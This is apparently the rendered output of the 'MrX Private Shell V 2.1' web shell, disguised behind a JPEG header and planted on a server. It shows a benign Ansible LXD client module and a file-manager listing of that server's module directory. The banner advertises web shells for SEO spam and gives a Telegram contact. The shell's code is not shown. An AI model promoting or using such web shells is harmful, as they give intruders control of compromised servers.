����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright (c) 2016, Hiroaki Nakamura <hnakamur@gmail.com>
# Simplified BSD License (see LICENSES/BSD-2-Clause.txt or https://opensource.org/licenses/BSD-2-Clause)
# SPDX-License-Identifier: BSD-2-Clause
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
import socket
import ssl
import json
from ansible.module_utils.urls import generic_urlparse
from ansible.module_utils.six.moves.urllib.parse import urlparse
from ansible.module_utils.six.moves import http_client
from ansible.module_utils.common.text.converters import to_text
# httplib/http.client connection using unix domain socket
HTTPConnection = http_client.HTTPConnection
HTTPSConnection = http_client.HTTPSConnection
class UnixHTTPConnection(HTTPConnection):
def __init__(self, path):
HTTPConnection.__init__(self, 'localhost')
self.path = path
def connect(self):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(self.path)
self.sock = sock
class LXDClientException(Exception):
def __init__(self, msg, **kwargs):
self.msg = msg
self.kwargs = kwargs
class LXDClient(object):
def __init__(self, url, key_file=None, cert_file=None, debug=False):
"""LXD Client.
:param url: The URL of the LXD server. (e.g. unix:/var/lib/lxd/unix.socket or https://127.0.0.1)
:type url: ``str``
:param key_file: The path of the client certificate key file.
:type key_file: ``str``
:param cert_file: The path of the client certificate file.
:type cert_file: ``str``
:param debug: The debug flag. The request and response are stored in logs when debug is true.
:type debug: ``bool``
"""
self.url = url
self.debug = debug
self.logs = []
if url.startswith('https:'):
self.cert_file = cert_file
self.key_file = key_file
parts = generic_urlparse(urlparse(self.url))
ctx = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
ctx.load_cert_chain(cert_file, keyfile=key_file)
self.connection = HTTPSConnection(parts.get('netloc'), context=ctx)
elif url.startswith('unix:'):
unix_socket_path = url[len('unix:'):]
self.connection = UnixHTTPConnection(unix_socket_path)
else:
raise LXDClientException('URL scheme must be unix: or https:')
def do(self, method, url, body_json=None, ok_error_codes=None, timeout=None, wait_for_container=None):
resp_json = self._send_request(method, url, body_json=body_json, ok_error_codes=ok_error_codes, timeout=timeout)
if resp_json['type'] == 'async':
url = '{0}/wait'.format(resp_json['operation'])
resp_json = self._send_request('GET', url)
if wait_for_container:
while resp_json['metadata']['status'] == 'Running':
resp_json = self._send_request('GET', url)
if resp_json['metadata']['status'] != 'Success':
self._raise_err_from_json(resp_json)
return resp_json
def authenticate(self, trust_password):
body_json = {'type': 'client', 'password': trust_password}
return self._send_request('POST', '/1.0/certificates', body_json=body_json)
def _send_request(self, method, url, body_json=None, ok_error_codes=None, timeout=None):
try:
body = json.dumps(body_json)
self.connection.request(method, url, body=body)
resp = self.connection.getresponse()
resp_data = resp.read()
resp_data = to_text(resp_data, errors='surrogate_or_strict')
resp_json = json.loads(resp_data)
self.logs.append({
'type': 'sent request',
'request': {'method': method, 'url': url, 'json': body_json, 'timeout': timeout},
'response': {'json': resp_json}
})
resp_type = resp_json.get('type', None)
if resp_type == 'error':
if ok_error_codes is not None and resp_json['error_code'] in ok_error_codes:
return resp_json
if resp_json['error'] == "Certificate already in trust store":
return resp_json
self._raise_err_from_json(resp_json)
return resp_json
except socket.error as e:
raise LXDClientException('cannot connect to the LXD server', err=e)
def _raise_err_from_json(self, resp_json):
err_params = {}
if self.debug:
err_params['logs'] = self.logs
raise LXDClientException(self._get_err_from_resp_json(resp_json), **err_params)
@staticmethod
def _get_err_from_resp_json(resp_json):
err = None
metadata = resp_json.get('metadata', None)
if metadata is not None:
err = metadata.get('err', None)
if err is None:
err = resp_json.get('error', None)
return err
def default_key_file():
return os.path.expanduser('~/.config/lxc/client.key')
def default_cert_file():
return os.path.expanduser('~/.config/lxc/client.crt')
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| identity | Folder | 0755 |
|
|
| mh | Folder | 0755 |
|
|
| net_tools | Folder | 0755 |
|
|
| oracle | Folder | 0755 |
|
|
| remote_management | Folder | 0755 |
|
|
| source_control | Folder | 0755 |
|
|
| storage | Folder | 0755 |
|
|
| _filelock.py | File | 3.35 KB | 0644 |
|
| _mount.py | File | 1.71 KB | 0644 |
|
| _stormssh.py | File | 8.27 KB | 0644 |
|
| alicloud_ecs.py | File | 12.38 KB | 0644 |
|
| btrfs.py | File | 16.95 KB | 0644 |
|
| cloud.py | File | 8.15 KB | 0644 |
|
| cmd_runner.py | File | 10.9 KB | 0644 |
|
| consul.py | File | 812 B | 0644 |
|
| csv.py | File | 2 KB | 0644 |
|
| database.py | File | 6.44 KB | 0644 |
|
| deps.py | File | 2.35 KB | 0644 |
|
| dimensiondata.py | File | 10.52 KB | 0644 |
|
| gandi_livedns_api.py | File | 7.4 KB | 0644 |
|
| gconftool2.py | File | 1023 B | 0644 |
|
| gio_mime.py | File | 1 KB | 0644 |
|
| gitlab.py | File | 5.82 KB | 0644 |
|
| heroku.py | File | 1.25 KB | 0644 |
|
| hwc_utils.py | File | 12.56 KB | 0644 |
|
| ibm_sa_utils.py | File | 3.17 KB | 0644 |
|
| ilo_redfish_utils.py | File | 9.76 KB | 0644 |
|
| influxdb.py | File | 3.35 KB | 0644 |
|
| ipa.py | File | 8.38 KB | 0644 |
|
| jenkins.py | File | 1.06 KB | 0644 |
|
| known_hosts.py | File | 5.68 KB | 0644 |
|
| ldap.py | File | 4.88 KB | 0644 |
|
| linode.py | File | 939 B | 0644 |
|
| locale_gen.py | File | 871 B | 0644 |
|
| lxd.py | File | 5.12 KB | 0644 |
|
| manageiq.py | File | 16.23 KB | 0644 |
|
| memset.py | File | 4.22 KB | 0644 |
|
| module_helper.py | File | 1.31 KB | 0644 |
|
| ocapi_utils.py | File | 20.75 KB | 0644 |
|
| oneandone.py | File | 9.12 KB | 0644 |
|
| onepassword.py | File | 872 B | 0644 |
|
| oneview.py | File | 17.51 KB | 0644 |
|
| online.py | File | 3.83 KB | 0644 |
|
| opennebula.py | File | 12.04 KB | 0644 |
|
| pipx.py | File | 1.72 KB | 0644 |
|
| proxmox.py | File | 6.94 KB | 0644 |
|
| puppet.py | File | 3.88 KB | 0644 |
|
| pure.py | File | 4.07 KB | 0644 |
|
| rax.py | File | 11.26 KB | 0644 |
|
| redfish_utils.py | File | 156.71 KB | 0644 |
|
| redhat.py | File | 10.51 KB | 0644 |
|
| redis.py | File | 3.14 KB | 0644 |
|
| rundeck.py | File | 3.34 KB | 0644 |
|
| saslprep.py | File | 6.67 KB | 0644 |
|
| scaleway.py | File | 12.96 KB | 0644 |
|
| snap.py | File | 1.57 KB | 0644 |
|
| ssh.py | File | 723 B | 0644 |
|
| univention_umc.py | File | 7.53 KB | 0644 |
|
| utm_utils.py | File | 9.08 KB | 0644 |
|
| vardict.py | File | 6.89 KB | 0644 |
|
| version.py | File | 878 B | 0644 |
|
| vexata.py | File | 3.14 KB | 0644 |
|
| wdc_redfish_utils.py | File | 23.09 KB | 0644 |
|
| xenserver.py | File | 30.1 KB | 0644 |
|
| xfconf.py | File | 1.33 KB | 0644 |
|